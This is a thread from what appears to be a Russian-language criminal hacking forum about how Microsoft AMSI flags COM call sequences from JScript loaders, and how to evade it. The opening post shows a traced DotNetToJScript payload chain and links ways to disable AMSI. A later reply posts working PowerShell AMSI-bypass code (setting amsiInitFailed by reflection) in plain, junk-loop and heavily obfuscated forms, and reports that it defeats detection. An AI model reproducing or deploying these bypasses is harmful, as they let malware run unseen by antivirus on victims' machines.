• XSS.stack #1 – первый литературный журнал от юзеров форума

AMSI палит IDispatch

DildoFagins

TPU unit
Забанен
Регистрация
11.08.2020
Сообщения
4 315
Решения
2
Реакции
5 265
Пожалуйста, обратите внимание, что пользователь заблокирован
Недавно тестил одну штуку и натолкнулся на интересный момент, который до этого не знал. Судя по всему, современный AMSI помимо всяческих eval'ов и Assembly.Load'ов еще и палит последовательности вызовов методов на COM-интерфейсах. Не знаю, как давно это происходит, но все же. Чуть ниже будет пример того, что отправляется на сканирование через AMSI, при запуска классического Dotnet2JScript. Как видно из текста, выводится наименование COM-интерфейса, имя метода (или DISPID-метода, если имя не удалось получить), а также аргументы (не все типы аргументов таким образом отображаются, бывает "Unsupported parameter type <тип>"). Base64 от нагрузки я вырезал, тк он слишком большой вышел, но могу сказать, что сериализованный делегат Assembly.Load был запихан в скан полностью. Я предполагаю, что когда скрипт вызывает GetObject или new ActiveXObject, движок создает небольшой прокси поверх IDispatch, который логирует вызовы. Про PowerShell и дотнеты понятно, но печально, что из VBScript/JScript мы с этим ничего толком поделать не можем, кроме разве что установки значения AmsiEnable в реестре, или чего то более всратого и палевного типа: https://www.tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html - если знаете варианты получше, то напишите, может я чего не знаю.
Код:
IWshShell3.Environment("Process");
IWshEnvironment.Item("COMPLUS_Version", "v2.0.50727");
_ASCIIEncoding._6002000f("<base64_payload>");
_ASCIIEncoding._60020014("<base64_payload>");
_FromBase64Transform._60020009("Unsupported parameter type 00002011", "0", "1956");
_MemoryStream._60020017("Unsupported parameter type 00002011", "0", "1465");
_MemoryStream._6002000b("0");
_BinaryFormatter._60020006("Unsupported parameter type 00000009");
_ArrayList._60020020("Unsupported parameter type 00000000");
_ArrayList._6002001b();
_HeaderHandler._60020007("Unsupported parameter type 0000200c");

PS: Если кому интересно, как я достаю то, что отправляется на сканирование через AMSI, то я просто зарегал свой AMSI-провайдер. Примеров этого можно в интернетах найти, или просто собрать что-то типа: https://github.com/manyfacedllama/amsi-tracer - он будет всё, что через AMSI полетит антивирусу в папку высерать, не то чтобы прям удобно, но вполне приемлимо для тестирования.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Еще немного потестил, вроде бы созданные через ActCtx объекты этой штуке не подвержены, и само обращение к классу тоже, не знаю почему: https://github.com/med0x2e/GadgetTo...ript/templates/LT4_8/jscript-regfree.template - во всяком случае в мой AMSI "приемник" ничего не приходит, если у кого есть время, проверьте у себя.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
через ActCtx объекты этой штуке не подвержены
Сегодня еще потестил, и чет нихера не понимаю, то вызовы ActCtx отлетают в AMSI, то нет, не понимаю, с чем это связано, наверное, у меня мой AMSI приемник забагованный, но я хз, где именно, тк в целом это поведение довольно странное.

Can u explain little bit more?
Any particular thing you want to know? I don't really know much about it myself.
 
Сегодня еще потестил, и чет нихера не понимаю, то вызовы ActCtx отлетают в AMSI, то нет, не понимаю, с чем это связано, наверное, у меня мой AMSI приемник забагованный, но я хз, где именно, тк в целом это поведение довольно странное.


Any particular thing you want to know? I don't really know much about it myself.
actually every thing 😂😂
 
Столкнулся с той же проблемой, ломал голову, пока не наткнулся на этот тред. Берём обход амси, которому 100 лет в обед, прогоняем через обфускатор, с одного прохода получаем вот такую вот кашу
Код:
[Ref].Assembly.GetType((([char](-1130120218 + 1130120301) + [char](-932878578 + 932878699) + [char](1550065528 - 1550065413) + [char](-221136937 + 221137053) + [char](-1670767482 + 1670767583) + [char](-1972971152 + 1972971261) + [char](-2094274870 + 2094274916) + [char](-208125775 + 208125852) + [char](-987460976 + 987461073) + [char](610102004 - 610101894) + [char](580190042 - 580189945) + [char](-1307207702 + 1307207805) + [char](2009638130 - 2009638029) + [char](1681484808 - 1681484699) + [char](218075116 - 218075015) + [char](1735602383 - 1735602273) + [char](468279028 - 468278912) + [char](-1040217689 + 1040217735) + [char](2098522278 - 2098522213) + [char](-1774420390 + 1774420507) + [char](114758199 - 114758083) + [char](-1231535860 + 1231535971) + [char](2114866938 - 2114866829) + [char](841390099 - 841390002) + [char](932981912 - 932981796) + [char](-1757556581 + 1757556686) + [char](-1284641033 + 1284641144) + [char](-2126709067 + 2126709177) + [char](396573086 - 396573040) + [char](2105470037 - 2105469972) + [char](-1159225365 + 1159225474) + [char](256709167 - 256709052) + [char](1441349091 - 1441348986) + [char](-1794028230 + 1794028315) + [char](-1938513070 + 1938513186) + [char](2034452630 - 2034452525) + [char](-694748045 + 694748153) + [char](-506145188 + 506145303)))).GetField((([char](-1429858887 + 1429858984) + [char](1690513097 - 1690512988) + [char](-52022622 + 52022737) + [char](-1970996709 + 1970996814) + [char](-1943692239 + 1943692312) + [char](467133299 - 467133189) + [char](-778761464 + 778761569) + [char](-125071380 + 125071496) + [char](1636589501 - 1636589431) + [char](303592375 - 303592278) + [char](2140648666 - 2140648561) + [char](-915769077 + 915769185) + [char](-1492574455 + 1492574556) + [char](-1985367715 + 1985367815))),(([char](-1288586174 + 1288586252) + [char](1011935265 - 1011935154) + [char](1310843857 - 1310843747) + [char](1347785104 - 1347785024) + [char](918573932 - 918573815) + [char](786280268 - 786280170) + [char](175194551 - 175194443) + [char](1336750432 - 1336750327) + [char](1045211440 - 1045211341) + [char](2074903009 - 2074902965) + [char](531859887 - 531859804) + [char](-77087117 + 77087233) + [char](1336265273 - 1336265176) + [char](2127972083 - 2127971967) + [char](1045179719 - 1045179614) + [char](-436792074 + 436792173)))).SetValue($null,$true)
И ловим детект. Минимально модифицируем код, чтобы сбить цепочку вызовов
Код:
$x = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

for ($i = 0; $i -le 1842; $i++) {
    if (($i % 2) -eq 0) {
        Write-Host $i
    } elseif (($i % 3) -eq 0) {
        Write-Output "gko"
    }
}

$f = $x.GetField('amsiInitFailed','NonPublic,Static')

for ($i = 0; $i -le 1842; $i++) {
    if (($i % 2) -eq 0) {
        Write-Host $i
    } elseif (($i % 3) -eq 0) {
        Write-Output "gko"
    }
}
$f.SetValue($null,$true)

Затем накрываем
Код:
$z4j6MorcVA = [Ref].Assembly.GetType((([char](631916126 - 631916043) + [char](1445189911 - 1445189790) + [char](-1462449305 + 1462449420) + [char](-1570844611 + 1570844727) + [char](1268033351 - 1268033250) + [char](-226987392 + 226987501) + [char](945619947 - 945619901) + [char](-1191861121 + 1191861198) + [char](700926675 - 700926578) + [char](-1292670241 + 1292670351) + [char](1329920096 - 1329919999) + [char](219523518 - 219523415) + [char](-1316096404 + 1316096505) + [char](504079620 - 504079511) + [char](2082809635 - 2082809534) + [char](-1414977243 + 1414977353) + [char](757904460 - 757904344) + [char](-1315356784 + 1315356830) + [char](-1324277472 + 1324277537) + [char](1156610610 - 1156610493) + [char](-704884086 + 704884202) + [char](2032029701 - 2032029590) + [char](-350018347 + 350018456) + [char](1059359174 - 1059359077) + [char](844066183 - 844066067) + [char](630465173 - 630465068) + [char](-1744481974 + 1744482085) + [char](-464142577 + 464142687) + [char](-1279299925 + 1279299971) + [char](1905828286 - 1905828221) + [char](-1606879806 + 1606879915) + [char](-1950580465 + 1950580580) + [char](-900197575 + 900197680) + [char](458768021 - 458767936) + [char](-928948587 + 928948703) + [char](-377962454 + 377962559) + [char](-1075808722 + 1075808830) + [char](-941804434 + 941804549))))

for ($eX2r0ACO9T = (-1092263362 + 1092263362); $eX2r0ACO9T -le (663101312 - 663099470); $eX2r0ACO9T++) {
    if (($eX2r0ACO9T % (2064833319 - 2064833317)) -eq (-1493299105 + 1493299105)) {
        & (([char](-256287434 + 256287521) + [char](810631682 - 810631568) + [char](463848413 - 463848308) + [char](-1611319640 + 1611319756) + [char](665736477 - 665736376) + [char](1645116666 - 1645116621) + [char](-26858638 + 26858710) + [char](1804544020 - 1804543909) + [char](-1606486958 + 1606487073) + [char](-1986541371 + 1986541487))) $eX2r0ACO9T
    } elseif (($eX2r0ACO9T % (116221857 - 116221854)) -eq (-2126801783 + 2126801783)) {
        & (([char](-1606696893 + 1606696980) + [char](1325623970 - 1325623856) + [char](-971316028 + 971316133) + [char](734726991 - 734726875) + [char](-2123347098 + 2123347199) + [char](431057535 - 431057490) + [char](1594062989 - 1594062910) + [char](1113538727 - 1113538610) + [char](1507400844 - 1507400728) + [char](1618369418 - 1618369306) + [char](307955620 - 307955503) + [char](-258634189 + 258634305))) (([char](1367562121 - 1367562018) + [char](2100807638 - 2100807531) + [char](-1644535761 + 1644535872)))
    }
}

$fGWPBW3I6f = $z4j6MorcVA.GetField((([char](-1000884002 + 1000884099) + [char](1025085825 - 1025085716) + [char](-1146814756 + 1146814871) + [char](1016631773 - 1016631668) + [char](-1514707792 + 1514707865) + [char](-1411588273 + 1411588383) + [char](-246522888 + 246522993) + [char](-1833721063 + 1833721179) + [char](-834051203 + 834051273) + [char](-1940152150 + 1940152247) + [char](1750099810 - 1750099705) + [char](1419258202 - 1419258094) + [char](-1921857850 + 1921857951) + [char](1959942656 - 1959942556))),(([char](-1323163711 + 1323163789) + [char](1777209414 - 1777209303) + [char](-803528582 + 803528692) + [char](916266249 - 916266169) + [char](-256645955 + 256646072) + [char](1187522666 - 1187522568) + [char](1877714496 - 1877714388) + [char](-2087914747 + 2087914852) + [char](331404901 - 331404802) + [char](-1962156347 + 1962156391) + [char](1323840783 - 1323840700) + [char](-544298318 + 544298434) + [char](1212552397 - 1212552300) + [char](-1885827810 + 1885827926) + [char](858688176 - 858688071) + [char](801597754 - 801597655))))

for ($eX2r0ACO9T = (-678750911 + 678750911); $eX2r0ACO9T -le (746303547 - 746301705); $eX2r0ACO9T++) {
    if (($eX2r0ACO9T % (177608037 - 177608035)) -eq (-1519378340 + 1519378340)) {
        & (([char](506804969 - 506804882) + [char](1731828956 - 1731828842) + [char](1467542098 - 1467541993) + [char](2106310985 - 2106310869) + [char](-2053023700 + 2053023801) + [char](-1194020518 + 1194020563) + [char](-389278795 + 389278867) + [char](-52793246 + 52793357) + [char](761877842 - 761877727) + [char](688834498 - 688834382))) $eX2r0ACO9T
    } elseif (($eX2r0ACO9T % (-1925947349 + 1925947352)) -eq (-2086268854 + 2086268854)) {
        & (([char](-1425371264 + 1425371351) + [char](-591319294 + 591319408) + [char](-1910627930 + 1910628035) + [char](-36755392 + 36755508) + [char](-1029400916 + 1029401017) + [char](1278924150 - 1278924105) + [char](652011763 - 652011684) + [char](-780623722 + 780623839) + [char](153275307 - 153275191) + [char](1889544880 - 1889544768) + [char](553664049 - 553663932) + [char](-119545363 + 119545479))) (([char](-1646599100 + 1646599203) + [char](-512146945 + 512147052) + [char](945586166 - 945586055)))
    }
}
$fGWPBW3I6f.SetValue($null,$true)

И вуаля, все обходится и работает как нужно. Вывод: в современных реалиях обфускатор должен сбивать цепочку вызовов, без этого никуда. Иначе вас ожидают непонятные детекты (палево раз через раз) и непредвиденное поведение.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх